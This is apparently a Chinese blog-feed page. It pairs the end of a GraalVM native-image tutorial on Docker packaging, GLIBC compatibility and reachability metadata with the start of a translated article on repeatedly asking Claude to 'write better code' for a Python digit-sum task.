2025-01-17T09:02:19.732+08:00  INFO 33935 --- [hello] [           main] o.s.b.w.embedded.tomcat.TomcatWebServer  : Tomcat started on port 8080 (http) with context path '/'
2025-01-17T09:02:19.733+08:00  INFO 33935 --- [hello] [           main] com.example.hello.HelloApplication       : Started HelloApplication in 0.054 seconds (process running for 0.071)

可以看到启动速度是 JAR 文件的 10 倍。

容器化

在云原生环境下,所有服务都被打包成镜像,这也被称为 容器化(Containerize)。我在很早以前写过一篇 博客 介绍了如何编写 Dockerfile 将 Spring Boot 应用构建成 Docker 镜像,针对 GraalVM 原生应用,我们一样可以照葫芦画瓢。

将 JAR 打包成镜像

最简单的方式是基于 JDK 基础镜像,直接将 JAR 文件拷贝进去即可,新建 Dockerfile.jvm 文件,内容如下:

FROM ghcr.io/graalvm/jdk-community:21

EXPOSE 8080
COPY ./target/hello-0.0.1-SNAPSHOT.jar app.jar
CMD ["java","-jar","app.jar"]

之前说过 GraalVM 也可以作为普通的 JDK 使用,所以这里直接使用 GraalVM 的 JDK 镜像。首先通过 mvn package 正常将项目打成 JAR 包,然后执行如下命令构建镜像:

$ docker build -f Dockerfile.jvm -t hello:jvm .

运行该镜像:

$ docker run --rm -p 8080:8080 hello:jvm

这种方式虽然简单,但是每次构建镜像之前先得 mvn package 一下,可以使用 多阶段构建(Multi-stage builds) 的技巧,将两步合成一步。新建 Dockerfile.jvm.ms 文件,内容如下:

FROM ghcr.io/graalvm/native-image-community:21 AS builder

WORKDIR /build
COPY . /build
RUN ./mvnw --no-transfer-progress package -DskipTests=true

FROM ghcr.io/graalvm/jdk-community:21

EXPOSE 8080
COPY --from=builder /build/target/hello-0.0.1-SNAPSHOT.jar app.jar
CMD ["java","-jar","app.jar"]

整个 Dockerfile 分为两个构建阶段,第一阶段使用 mvn package 生成 JAR 文件,第二阶段和 Dockerfile.jvm 几乎是一样的,只不过是从第一阶段的构建结果中拷贝 JAR 文件。

直接执行如下命令构建镜像:

$ docker build -f Dockerfile.jvm.ms -t hello:jvm.ms .

运行该镜像:

$ docker run --rm -p 8080:8080 hello:jvm.ms

将二进制文件打包成镜像

有了上面的基础,我们可以更进一步,直接将二进制文件打包成镜像,这样可以省去 JDK,大大减小镜像体积。我们可以基于某个系统镜像,比如 alpinealmalinux,新建 Dockerfile.native 文件如下:

FROM almalinux:9

EXPOSE 8080
COPY target/hello app
ENTRYPOINT ["/app"]

然后执行如下命令构建镜像:

$ docker build -f Dockerfile.native -t hello:native .

运行该镜像:

$ docker run --rm -p 8080:8080 hello:native

不过这一次没有那么顺利,运行报错了:

exec /app: exec format error

这里就不得不提可执行文件格式的概念了。我们知道 GraalVM 的原生镜像功能是将 Java 代码编译成二进制文件,但是要注意的是,这个二进制文件是平台相关的,在不同的操作系统下,可执行文件的格式大相径庭。常见的可执行文件格式有以下几种:

  • ELF 格式(Executable and Linkable Format):是一种通用的可执行文件格式,广泛用于类 UNIX 系统,如 Linux 和 BSD;
  • Mach-O 格式(Mach Object):是苹果公司开发的可执行文件格式,用于 macOS 和 iOS 系统;
  • PE 格式(Portable Executable):Windows 系统下的 .exe 文件就是这种格式。

Docker 容器基于 Linux 内核开发,所以只能运行 ELF 格式的文件,而上面的二进制文件是我在 Mac 电脑上构建的,所以复制到容器里无法运行。

如果你使用的是 Linux 开发环境,可能就不会遇到这个问题;但是如果你和我一样,使用的是 Mac 或 Windows 操作系统,建议还是使用多阶段构建的技巧。新建 Dockerfile.native.ms 文件如下:

FROM ghcr.io/graalvm/native-image-community:21 AS builder

WORKDIR /build
COPY . /build
RUN ./mvnw --no-transfer-progress native:compile -Pnative -DskipTests=true

FROM almalinux:9

EXPOSE 8080
COPY --from=builder /build/target/hello app
ENTRYPOINT ["/app"]

构建镜像:

$ docker build -f Dockerfile.native.ms -t hello:native.ms .

运行镜像:

$ docker run --rm -p 8080:8080 hello:native.ms

在实验过程中还有一点值得特别注意,那就是 GLIBC 的兼容性问题,可以使用 ldd --version 确认构建和运行使用的两个基础镜像中 GLIBC 版本。

查看 ghcr.io/graalvm/native-image-community:21 的 GLIBC 版本:

$ docker run --rm --entrypoint sh ghcr.io/graalvm/native-image-community:21 ldd --version
ldd (GNU libc) 2.34
Copyright (C) 2021 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

查看 almalinux:9 的 GLIBC 版本:

$ docker run --rm --entrypoint sh almalinux:9 ldd --version
ldd (GNU libc) 2.34
Copyright (C) 2021 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

可以看出这两个基础镜像的 GLIBC 是一致的。如果我们将 almalinux:9 换成 centos:7

$ docker run --rm --entrypoint sh centos:7 ldd --version
ldd (GNU libc) 2.17
Copyright (C) 2012 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

运行时就可能报下面这样的报错:

/app: /lib64/libc.so.6: version `GLIBC_2.32' not found (required by /app)
/app: /lib64/libc.so.6: version `GLIBC_2.34' not found (required by /app)

使用 CNB 构建镜像

CNB(Cloud Native Buildpacks) 是一种用于构建和打包应用程序的技术,旨在简化应用程序的开发、部署和运行,使用 CNB 开发人员无需编写 Dockerfile 就可以构建容器镜像。它会自动检测应用程序的类型和所需的环境,根据检测结果,下载必要的依赖项,并将它们与应用程序代码打包,最终生成一个符合 OCI 标准的容器镜像。

Spring Boot 的 Maven 插件 spring-boot-maven-plugin 已经集成了 CNB,它使用 Paketo Java Native Image buildpack 来生成包含本地可执行文件的轻量级容器镜像。

针对上面的 Spring Boot 应用,我们可以直接运行下面的命令:

$ mvn spring-boot:build-image -Pnative
...
[INFO] Successfully built image 'docker.io/library/hello:0.0.1-SNAPSHOT'
...

构建之前,请确保有一个兼容 Docker-API 的容器运行时,比如 Rancher DesktopDockerPodman 等。

使用 docker run 运行:

$ docker run --rm -p 8080:8080 hello:0.0.1-SNAPSHOT

生成的镜像名默认为 docker.io/library/${project.artifactId}:${project.version},可以通过下面的配置进行修改:

<plugin>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-maven-plugin</artifactId>
    <configuration>
        <image>
            <name>docker.io/library/aneasystone/${project.artifactId}:${project.version}</name>
        </image>
    </configuration>
</plugin>

更多构建参数可以参考 Spring Boot 官方文档 Packaging OCI Images

GraalVM 的局限性

软件行业有一句名言:没有银弹(No Silver Bullet),对于 GraalVM 技术也同样如此,它虽然具有镜像体积小、启动速度快、内存消耗低等优势,但是同时它也带来了一些新问题:

  • 编译速度慢:GraalVM 通过 AOT 技术对整个应用程序及其依赖进行静态分析,以确保所有代码路径都被覆盖,这种静态编译方式需要处理更多的复杂性,因而编译速度也更慢;
  • 平台相关性:编译出来的二进制文件是平台相关的,也就是说软件开发人员需要针对不同的平台编译不同的二进制文件,增加了软件分发的复杂性;
  • 调试监控难:由于运行的程序由 Java 程序变成了本地程序,传统面向 Java 程序的调试、监控、Agent 等技术均不再适用,只能使用 GDB 调试;
  • 封闭性假设:这是 AOT 编译的基本原则,即程序在编译期必须掌握运行时所需的所有信息,在运行时不能出现任何编译器未知的内容,这会导致 Java 程序中的很多动态特性无法继续使用,例如:资源、反射、动态类加载、动态代理、JCA 加密机制(内部依赖了反射)、JNI、序列化等。

针对每个新问题也都有对应的解决方案。比如引入 CI/CD 流水线自动化构建,让开发人员降低编译速度慢的感知;比如通过 Docker 容器镜像统一软件的分发方式;GraalVM 目前也在不断优化,增加传统 Java 调试和监控工具的支持,如 JFRJMX 等;对于程序中的动态特性,也可以通过额外的适配工作来解决。

下面针对最后一个问题进行更进一步的实践。

资源文件

资源文件是项目开发中经常遇到的一种场景,但是默认情况下, native-image 工具不会将资源文件集成到可执行文件中。首先,我们准备两个文件,App.java 为主程序,app.res 为资源文件:

├── App.java
└── app.res

App.java 中的代码非常简单,读取并输出 app.res 中的内容:

public class App {
    
    public static void main( String[] args ) throws IOException {
        String message = readResource("app.res");
        System.out.println(message);
    }

    public static String readResource(String fileName) throws IOException {
        StringBuilder content = new StringBuilder();
        try (
            InputStream inputStream = App.class.getClassLoader().getResourceAsStream(fileName);
            BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, StandardCharsets.UTF_8))) {
            String line;
            while ((line = reader.readLine()) != null) {
                content.append(line).append(System.lineSeparator());
            }
        }
        return content.toString();
    }
}

我们使用 native-image 生成可执行文件:

$ javac App.java && native-image App

运行这个文件会抛出如下的空指针异常:

$ ./app
Exception in thread "main" java.lang.NullPointerException
        at java.base@21.0.2/java.io.Reader.<init>(Reader.java:168)
        at java.base@21.0.2/java.io.InputStreamReader.<init>(InputStreamReader.java:123)
        at App.readResource(App.java:18)
        at App.main(App.java:10)

根据异常信息推断,getResourceAsStream 返回了空指针,也就是说没有读到 app.res 资源文件,可以看出 native-image 确实没有把资源文件集成到可执行文件中。

为了让 native-image 知道资源文件的存在,我们新建一个 META-INF/native-image 目录,目录下新建一个 resource-config.json 文件,目录结构如下所示:

├── App.java
├── META-INF
│   └── native-image
│       └── resource-config.json
└── app.res

resource-config.json 文件的内容如下:

{
    "resources": {
        "includes": [
            {
                "pattern": "app.res"
            }
        ]
    },
    "bundles": []
}

重新运行 native-image 进行构建:

$ javac App.java && native-image App

native-image 会自动扫描 META-INF/native-image 目录下的配置文件,将资源文件集成到可执行文件中,此时就可以正常运行这个文件了:

$ ./app                             
Hello message from the resource file.

反射

接下来,我们再看一个反射的例子。反射是 Java 中一项非常重要的特性,可以根据字符串来动态地加载类和方法,native-image 如果得不到足够的上下文信息,可能编译时就会缺少这些反射的类和方法。不过 native-image 也是足够聪明的,如果在调用某些反射方法时使用了常量,native-image 也能自动编译这些常量对应的类和方法,比如:

Class.forName("java.lang.Integer")
Class.forName("java.lang.Integer", true, ClassLoader.getSystemClassLoader())
Class.forName("java.lang.Integer").getMethod("equals", Object.class)
Integer.class.getDeclaredMethod("bitCount", int.class)
Integer.class.getConstructor(String.class)
Integer.class.getDeclaredConstructor(int.class)
Integer.class.getField("MAX_VALUE")
Integer.class.getDeclaredField("value")

下面我们构造一个 native-image 无法推断反射信息的示例,比如根据命令行参数来动态的调用某个类的某个方法:

public class App {
    
    public static void main( String[] args ) throws Exception {
        if (args.length != 4) {
            System.out.println("Usage: ./app clz method a b");
            return;
        }
        Integer result = callReflection(args[0], args[1], Integer.parseInt(args[2]), Integer.parseInt(args[3]));
        System.out.println(result);
    }

    public static Integer callReflection(String clz, String method, Integer a, Integer b) throws Exception {
        Class<?> clazz = Class.forName(clz);
        return (Integer) clazz.getMethod(method, Integer.class, Integer.class).invoke(null, a, b);
    }
}

我们定义一个 Calculator 类,实现加减乘除四则运算:

public class Calculator {

    public static Integer add(Integer a, Integer b) {
        return a + b;
    }

    public static Integer sub(Integer a, Integer b) {
        return a - b;
    }

    public static Integer mul(Integer a, Integer b) {
        return a * b;
    }

    public static Integer div(Integer a, Integer b) {
        return a / b;
    }
}

然后将两个类编译成 class 文件:

$ javac App.java Calculator.java

运行测试:

$ java App Calculator add 2 2
4
$ java App Calculator sub 2 2
0
$ java App Calculator mul 2 2
4
$ java App Calculator div 2 2
1

我们使用 native-image 生成可执行文件:

$ native-image App --no-fallback

此时的文件运行会报错:

$ ./app Calculator add 2 2
Exception in thread "main" java.lang.ClassNotFoundException: Calculator
        at org.graalvm.nativeimage.builder/com.oracle.svm.core.hub.ClassForNameSupport.forName(ClassForNameSupport.java:122)
        at org.graalvm.nativeimage.builder/com.oracle.svm.core.hub.ClassForNameSupport.forName(ClassForNameSupport.java:86)
        at java.base@21.0.2/java.lang.Class.forName(DynamicHub.java:1356)
        at java.base@21.0.2/java.lang.Class.forName(DynamicHub.java:1319)
        at java.base@21.0.2/java.lang.Class.forName(DynamicHub.java:1312)
        at App.callReflection(App.java:13)
        at App.main(App.java:8)

可以看出 native-image 通过静态分析,是不知道程序会使用 Calculator 类的,所以构建二进制文件时并没有包含在里面。为了让 native-image 知道 Calculator 类的存在,我们新建一个 META-INF/native-image/reflect-config.json 配置文件:

[
    {
        "name": "Calculator",
        "methods": [
            {
                "name": "add",
                "parameterTypes": [
                    "java.lang.Integer",
                    "java.lang.Integer"
                ]
            }
        ]
    }
]

重新编译后,运行正常:

$ ./app Calculator add 2 2      
4

由于配置文件里我只加了 add 方法,所以运行其他方法时,依然会报错:

$ ./app Calculator mul 2 2
Exception in thread "main" java.lang.NoSuchMethodException: Calculator.mul(java.lang.Integer, java.lang.Integer)
        at java.base@21.0.2/java.lang.Class.checkMethod(DynamicHub.java:1075)
        at java.base@21.0.2/java.lang.Class.getMethod(DynamicHub.java:1060)
        at App.callReflection(App.java:14)
        at App.main(App.java:8)

将所有方法都加到配置文件中即可。

注意这里的 --no-fallback 参数,防止 native-image 开启回退模式(fallback image)。native-image 检测到反射时会自动开启回退模式,生成的可执行文件也是可以执行的,但是必须依赖 JDK:

% native-image App 
...
Warning: Reflection method java.lang.Class.getMethod invoked at App.callReflection(App.java:14)
Warning: Aborting stand-alone image build due to reflection use without configuration.
...
Generating fallback image...
Warning: Image 'app' is a fallback image that requires a JDK for execution (use --no-fallback to suppress fallback image generation and to print more detailed information why a fallback image was necessary).

Reachability Metadata 和 Tracing Agent

上面的 resource-config.jsonreflect-config.json 文件也被称为 可达性元数据(Reachability Metadata),一般位于 META-INF/native-image/<group.id>/<artifact.id> 目录下,元数据文件有以下几种类型,每一种类型的元数据配置放在对应的 <feature>-config.json 文件中:

  • resource-config.json - 资源和资源包 允许加载应用程序中存在的任意文件
  • reflect-config.json - Java 反射 使 Java 代码能够在运行时检查自己的类、方法、字段和属性
  • proxy-config.json - 动态代理 会根据需要创建类,这些类实现了给定的接口列表
  • jni-config.json - JNI 允许本地代码在运行时访问类、方法、字段及其属性
  • predefined-classes-config.json - 预定义类 为动态生成的类提供支持
  • serialization-config.json - 序列化 使 Java 对象可以写入和从流中读取

值得注意的是,最新版本的 Reachability Metadata 配置文件格式有所调整,所有的配置都统一放在 META-INF/native-image/reachability-metadata.json 文件中,在查看在线文档时要特别留意,区分 GraalVM 的版本。

但是手工编写元数据文件非常繁琐,而且容易出错,为此,GraalVM 提供了名为 Tracing Agent 的工具,帮我们自动生成元数据文件。

这个工具可以在 $GRAALVM_HOME/lib 目录下找到。

它的用法非常简单,使用 java App 正常运行程序,同时加上 -agentlib 参数即可:

$ java -agentlib:native-image-agent=config-output-dir=META-INF/native-image App

程序运行结束后,META-INF/native-image 目录下会自动生成如下文件:

├── App.java
├── META-INF
│   └── native-image
│       ├── agent-extracted-predefined-classes
│       ├── jni-config.json
│       ├── predefined-classes-config.json
│       ├── proxy-config.json
│       ├── reflect-config.json
│       ├── resource-config.json
│       └── serialization-config.json
└── app.res

我们可以打开 resource-config.json 文件进行查看,内容如下:

{
  "resources":{
  "includes":[{
    "pattern":"\\Qapp.res\\E"
  }]},
  "bundles":[]
}

这和上面我们写的差不多,有了元数据文件之后,再通过 native-image 就可以编译出带资源文件的可执行文件了。

细心的同学可能已经发现,这里的写法和我们的写法不太一样,自动生成的配置是 \\Qapp.res\\E,而我们写的配置是 app.res;其实,自动生成的是更为严谨的写法,\\Q\\E 是特殊的正则表达式语法,表示从 \\Q\\E 之间的所有字符都应被视为普通字符,不会被解释为正则表达式的特殊符号,而我们写的 app.res 包含 . 会被当成是任意字符。

对于反射的示例,可以用一样的方式运行:

$ java -agentlib:native-image-agent=config-output-dir=META-INF/native-image App Calculator add 1 1

这时也会生成 reflect-config.json 文件,内容和我们的写法一样。

不过 Tracing Agent 有个不好的地方,每次运行会覆盖之前生成的元数据文件,所以当我们运行 java -agentlib:... App Calculator sub 1 1 时,生成的 sub 方法会把第一次生成的 add 方法覆盖掉,如果能自动合并就好了。

在 Maven 项目中使用 Tracing Agent

如果要在 Maven 项目中使用 Tracing Agent,我们需要对上面的 Maven 项目做两点修改:

第一点,在 native-maven-plugin 插件中新增如下配置:

<configuration>
    <fallback>false</fallback>
    <agent>
        <enabled>true</enabled>
    </agent>
</configuration>

<fallback> 部分表示关闭回退模式;<agent> 部分表示开启 Tracing Agent,这一部分也可以通过命令行参数 -Dagent=true 开启。

第二点,新增 org.codehaus.mojo:exec-maven-plugin 插件,添加一个 idjava-agent 的执行块,要执行的命令就是用 java 运行当前项目。

修改完的完整配置如下:

<profiles>
    <profile>
        <id>native</id>
        <build>
            <plugins>
                <plugin>
                    <groupId>org.graalvm.buildtools</groupId>
                    <artifactId>native-maven-plugin</artifactId>
                    <version>0.10.4</version>
                    <extensions>true</extensions>
                    <executions>
                        <execution>
                            <id>build-native</id>
                            <goals>
                                <goal>compile-no-fork</goal>
                            </goals>
                            <phase>package</phase>
                        </execution>
                        <execution>
                            <id>test-native</id>
                            <goals>
                                <goal>test</goal>
                            </goals>
                            <phase>test</phase>
                        </execution>
                    </executions>
                    <!-- NEW -->
                    <configuration>
                        <fallback>false</fallback>
                        <agent>
                            <enabled>true</enabled>
                        </agent>
                    </configuration>
                </plugin>
                <!-- NEW -->
                <plugin>
                    <groupId>org.codehaus.mojo</groupId>
                    <artifactId>exec-maven-plugin</artifactId>
                    <version>3.1.1</version>
                    <executions>
                        <execution>
                            <id>java-agent</id>
                            <goals>
                                <goal>exec</goal>
                            </goals>
                            <configuration>
                                <executable>java</executable>
                                <workingDirectory>${project.build.directory}</workingDirectory>
                                <arguments>
                                    <argument>-classpath</argument>
                                    <classpath />
                                    <argument>com.example.App</argument>
                                </arguments>
                            </configuration>
                        </execution>
                    </executions>
                </plugin>
            </plugins>
        </build>
    </profile>
</profiles>

然后执行如下命令正常打包:

$ mvn clean package

接着是关键一步,执行如下命令运行 java-agent 执行块:

$ mvn exec:exec@java-agent -Pnative

由于上面开启了 Agent 模式,native-maven-plugin 插件会自动将 -agentlib:... 参数注入到 exec-maven-plugin 的参数列表中,从而在 target/native/agent-output/main 目录下生成元数据文件。如果 target 目录下没有文件生成,请检查 pom.xml 配置是否正常。

最后,生成可执行文件:

$ mvn package -Pnative

这里比较有意思的一点是,native-maven-plugin 插件是如何将 Agent 参数注入到 exec-maven-plugin 的参数列表里的?我们从 pom.xml 配置中看不出任何线索,关键藏在 native-maven-plugin 的源码 里:

native-maven-plugin-agent.png

这个类实现了 AbstractMavenLifecycleParticipantafterProjectsRead 方法,这个方法是 Maven 的一个重要的扩展点,允许开发者在 Maven 读取完所有项目配置后,但在构建项目依赖图之前,插入自定义逻辑,比如这里的逻辑就是查找 exec-maven-plugin 插件中 idjava-agent 的执行块,并将 Agent 参数注入到 <arguments> 列表中。

参考

更多

原生应用相比于传统的 Java 应用,在服务监控、问题排查、日志调试、性能优化等方面要麻烦一点,GraalVM 也提供了一些指南供参考。

监控

调试

优化

扫描二维码,在手机上阅读!

by aneasystone at January 24, 2025 12:46 AM

January 23, 2025

life

howiehz

列举我维护的项目和发布的软件包

前言 此处列举了我维护的项目,发布的软件包。 此文档持续更新,最后更新时间 2025.1.24。 项目按照创建时间倒序排列(越早创建的项目排在越后面) 在四级标题开头的符号表示这个项目的热度。 满足超过 100 Star 或 500 下载量标注为 🚀 满足超过 20 Star 或 100 下载量标

by HowieHz at January 23, 2025 08:33 PM

life

January 22, 2025

life

pythoncat

如果不断要求 LLM 写出更好的代码,它真的能写出更好的代码吗?

作者:Max Woolf
翻译:Python猫
2023 年 11 月,OpenAI 为 ChatGPT 添加了新功能,让用户可以在网页中使用 DALL-E 3 生成图像。随后出现了一个短暂的网络梗:用户会给 LLM(大语言模型)一张基础图片,然后不断要求它”让图片更 X“,这里的 X 可以是任何特征或风格。
这个趋势很快就消失了,因为生成的图像都过于相似,缺乏新意。有趣的是,无论初始图像和提示词如何不同,最终的结果都会趋向于某种”宇宙化”的效果。这种现象在”AI 垃圾”(AI slop)这一术语被正式定义之前,就已经是典型的 AI 垃圾了。不过从学术角度来看,即使是这些看似无意义和模糊的提示词,也能对最终图像产生明显的、可预测的影响,这一点仍然值得玩味。
如果我们对代码用类似的方法会怎样呢?由于代码需要遵循严格的规则,而且与图像等创意输出不同,代码质量可以更客观地衡量,所以 LLM 生成的代码不太可能是垃圾(尽管也不是完全不可能)。
如果代码真的可以通过简单的迭代提示来改进,比如仅仅要求 LLM “让代码更好”(虽然这听起来很傻),这将带来巨大的生产力提升。那么,如果不断这样迭代下去会发生什么?代码会出现什么样的”宇宙化”效果?让我们来一探究竟!

与 LLM 随意编码

尽管在 ChatGPT 出现之前我就一直在研究和开发 LLM 相关工具,但我并不喜欢使用 LLM 代码协助工具(如 GitHub Copilot)来辅助编码。在”哦,LLM 自动完成了我的代码,很好”/“我应该问 LLM 什么问题”和”LLM 生成的代码真的正确吗,它是否在产生幻觉并生成看似正确的代码”之间不断切换思维,这种持续的心智负担抵消了使用 AI 带来的任何生产力提升。这还没有考虑使用这些 LLM 的昂贵成本。
Claude 3.5 Sonnet 让我重新思考这个问题。由于 Anthropic 在训练中使用的某种秘密配方,最新版本的 Claude 3.5 Sonnet (claude-3-5-sonnet-20241022) 对各类提示词都有着令人难以置信的遵循能力,尤其是在编码提示方面。编码基准测试证实,在 Claude 3.5 Sonnet 和 GPT-4 的测试中,Claude 胜出,而且根据我在各种技术和创意任务中的亲身经历,也得出了相同的结论。

初始尝试

在这个实验中,我们将给 Claude 3.5 Sonnet 一个面试风格的 Python 编码提示词:一个简单适合被新手软件工程师实现,但同时又可以进行大量优化的问题。这个简单随意的提示词代表了典型软件工程师使用 LLM 的方式。此外,测试提示词必须完全原创,而不是取自 LeetCode 或 HackerRank 等编码测试平台,因为 LLM 很可能在这些平台上进行过训练,可能会通过背诵记忆的答案作弊。

完整的、未经编辑的基于这种随意提示的对话内容可在 GitHub 上获取

这是我自己写的测试提示词:
编写 Python 代码来解决这个问题:

给定一个包含 100 万个 1 到 100,000 之间的随机整数的列表,找出数字之和等于 30 的最大数和最小数之间的差值。
将其作为用户提示词给 Claude API,并设置 temperature=0 以获得最佳/最确定的答案,最终实现如下:
import random

def digit_sum(n):
    """Calculate the sum of digits of a number"""
    return sum(int(digit) for digit in str(n))

def find_difference():
    # Generate list of 1 million random integers
    numbers = [random.randint(1, 100000) for _ in range(1000000)]

    # Initialize variables for min and max numbers with digit sum 30
    min_num = float('inf')  # Initialize to positive infinity
    max_num = float('-inf')  # Initialize to negative infinity

    # Find numbers whose digits sum to 30
    for num in numbers:
        if digit_sum(num) == 30:
            min_num = min(min_num, num)
            max_num = max(max_num, num)

    # Check if we found any numbers with digit sum 30
    if min_num == float('inf') or max_num == float('-inf'):
        return "No numbers found with digit sum of 30"

    return max_num - min_num
这个实现是正确的,并且与大多数 Python 新手程序员的写法一致,还额外处理了没有符合条件的数字的情况。对于列表中的每个数字,检查其数字之和是否为 30:如果是,则检查它是否大于最近看到的最大数字或小于最近看到的最小数字,并相应地更新这些变量。搜索完列表后,返回差值。
但我敢肯定,许多阅读这个实现的程序员都会思考如何优化。一个例子是 digit_sum() 函数:虽然这个实现是一个有趣的 Python 一行代码,但在 strint 之间的类型转换会造成大量不必要的开销。
在我的 M3 Pro MacBook Pro 上,这段代码平均需要 657 毫秒运行。我们将使用这个性能作为基准,来比较后续实现的测试结果(剧透:它们都更快)。

迭代 #1

现在我们可以让 Claude 改进代码,将其当前答案和之前的所有内容作为对话提示的一部分。因此,我们添加迭代提示:
写更好的代码
你以为这篇博文的标题是在开玩笑吗?我从不开玩笑。
Claude 输出了修改后的代码,用它的话说是”代码的优化版本,有几处改进”。它没有将代码保持为函数形式,而是重构为 Python 类,使其更加面向对象:
class DigitSumFinder:
    def __init__(self, target_sum: int = 30,
                 range_start: int = 1,
                 range_end: int = 100_000,
                 count: int = 1_000_000):
        self.target_sum = target_sum
        self.range_start = range_start
        self.range_end = range_end
        self.count = count

        # Pre-calculate digit sums for all possible numbers
        self.digit_sums = self._precompute_digit_sums()

    def _precompute_digit_sums(self) -> array:
        """Precompute digit sums for all possible numbers in range."""
        digit_sums = array('B', [0] * (self.range_end + 1))
        for num in range(self.range_start, self.range_end + 1):
            total = 0
            n = num
            while n:
                total += n % 10
                n //= 10
            digit_sums[num] = total
        return digit_sums

    def find_difference(self) -> Tuple[int, Optional[int], Optional[int]]:
        """
        Find the difference between max and min numbers with target digit sum.
        Returns: (difference, min_number, max_number)
        """
        min_num = float('inf')
        max_num = float('-inf')
        count_found = 0

        # Generate and process random numbers
        for _ in range(self.count):
            num = random.randint(self.range_start, self.range_end)
            if self.digit_sums[num] == self.target_sum:
                count_found += 1
                if num < min_num:
                    min_num = num
                if num > max_num:
                    max_num = num

        if count_found == 0:
            return 0, None, None

        return max_num - min_num, min_num, max_num
这里,代码做了两个智能的算法改进:
  • 在计算数字和时使用整数运算,避免了前面提到的类型转换的需要。
  • 预计算所有可能的数字和并将它们存储在字节数组中(使用数组而不是列表有点不寻常)以供查找,这意味着当一百万个数字列表中出现重复数字时,不需要重新计算数字和。由于这个数组作为类的字段存储,在搜索新的随机数列表时不需要重新计算。
这些优化使代码速度相对于初始实现提高了 2.7 倍。

迭代 #2

再次提示 写更好的代码,Claude 发现了更多明显的优化(为了可读性进行了截断):
class DigitSumAnalyzer:
    """Analyzes numbers based on their digit sums."""

    def __init__(self, number_range: NumberRange):
        self.number_range = number_range
        self._digit_sums = self._precompute_digit_sums()

    def _precompute_digit_sums(self) -> array:
        """Precompute digit sums for all possible numbers using vectorized operations."""
        digits = np.arange(self.number_range.end + 1)
        digit_sums = np.zeros(self.number_range.end + 1, dtype=np.uint8)

        while digits.any():
            digit_sums += digits % 10
            digits //= 10

        return array('B', digit_sums)

    def _process_chunk(self, chunk_size: int) -> Iterator[int]:
        """Process a chunk of random numbers."""
        numbers = np.random.randint(
            self.number_range.start,
            self.number_range.end + 1,
            chunk_size,
            dtype=np.int32
        )
        mask = np.frombuffer(self._digit_sums, dtype=np.uint8)[numbers] == self.number_range.target_sum
        yield from numbers[mask]

    def analyze(self, chunk_size: int = 100_000, num_processes: int = None) -> Result:
        """
        Analyze numbers to find min/max with target digit sum.

        Args:
            chunk_size: Size of chunks to process at once
            num_processes: Number of processes to use (None for CPU count)
        """
        start_time = time.perf_counter()
        min_num = float('inf')
        max_num = float('-inf')
        numbers_found = 0

        num_chunks = (self.number_range.count + chunk_size - 1) // chunk_size

        with ProcessPoolExecutor(max_workers=num_processes) as executor:
            futures = [
                executor.submit(self._process_chunk,
                              min(chunk_size, self.number_range.count - i * chunk_size))
                for i in range(num_chunks)
            ]

            for future in tqdm(futures, desc="Processing chunks"):
                for num in future.result():
                    numbers_found += 1
                    min_num = min(min_num, num)
                    max_num = max(max_num, num)

        execution_time = time.perf_counter() - start_time

        if numbers_found == 0:
            return Result(None, None, 0, execution_time, 0)

        return Result(min_num, max_num, max_num - min_num, execution_time, numbers_found)
Claude 添加了两个优化,并且意识到这个编码问题是一个令人尴尬的并行 (embarrassingly parallel) 问题:
  • 通过 Python 的 concurrent-futures 包实现多线程,将大列表分成可以独立处理的块。
  • 向量化 (vectorization) 的 numpy 操作,这比基础 Python 操作要快得多。特别值得一提的是 _precompute_digit_sums() 函数,它实现了一个向量化的数字和计算实现。条件语句 while digits.any(): 是一种巧妙的代码,但它确实能正确运行。
然而,这个特定的并行化实现存在一个问题:它生成子进程,这会导致许多烦人的问题,包括无法按原样内联运行,而且必须使用 main() 保护来调用,这显然限制了它的实用性。但即使作为单独的脚本运行,由于使用了 yield from numbers[mask](该生成器完全没有必要,return numbers[mask] 就足够了),它也会打印出 Error: cannot pickle 'generator' object 错误。代码还混合了 numpy 数组的 dtype,这会导致错误:将它们全部设置为 np.int32 可以修复这个问题。
在进行这些修复后,代码现在比基础实现快了 5.1 倍。

迭代 #3

再次 写更好的代码,Claude 返回了新的实现,它声称是”使用高级技术和现代 Python 特性的更加复杂和优化的版本”。但实际代码并没有显示出重要的算法改进,实际上在数字和计算方面还出现了倒退,回到了类型转换的方法。如果说有什么的话,代码库变得更加臃肿,比如添加了一个用于执行差值计算的类:
@dataclass(frozen=True, slots=True)
class SearchResult:
    """Result of the number search."""
    min_number: Optional[int]
    max_number: Optional[int]
    count: int
    execution_time: float

    @property
    def difference(self) -> Optional[int]:
        """Calculate difference between max and min numbers."""
        if self.min_number is None or self.max_number is None:
            return None
        return self.max_number - self.min_number
这次,代码无需任何修复就能运行。然而,性能略微下降,相比基础实现现在只快了 4.1 倍。

迭代 #4

这种迭代提示似乎遇到了收益递减。在再一次 写更好的代码 之后,Claude 提供了新的实现,声称具有”尖端优化和企业级功能”。等等,企业级功能?!
最终的代码太长了,无法在这篇博文中完整展示,但它确实创造了两个新的优化:它现在使用 numba Python 库,可以调用 JIT (Just-In-Time) 编译器,直接为 CPU 优化代码。在这种情况下,它可以通过一个装饰器实现数字和的超快速预计算:
@jit(nopython=True, parallel=True)
def calculate_digit_sums(numbers: ArrayInt) -> ArrayInt:
    """Calculate digit sums using Numba."""
    result = np.zeros_like(numbers)
    for i in prange(len(numbers)):
        num = numbers[i]
        total = 0
        while num:
            total += num % 10
            num //= 10
        result[i] = total
    return result
完整的类还使用 Python 的 asyncio 进行并行化,这比子进程方法更规范,更适合用于任务调度。它也能更好地与现有的内联代码和 REPL(如 Jupyter Notebooks)配合使用。
它还做了一些”企业级”改造:
  • 使用 Prometheus 作结构化指标日志记录。
  • 一个信号处理器,使代码在被强制终止时可以优雅地关闭。
  • 使用 rich 表格展示基准测试结果。
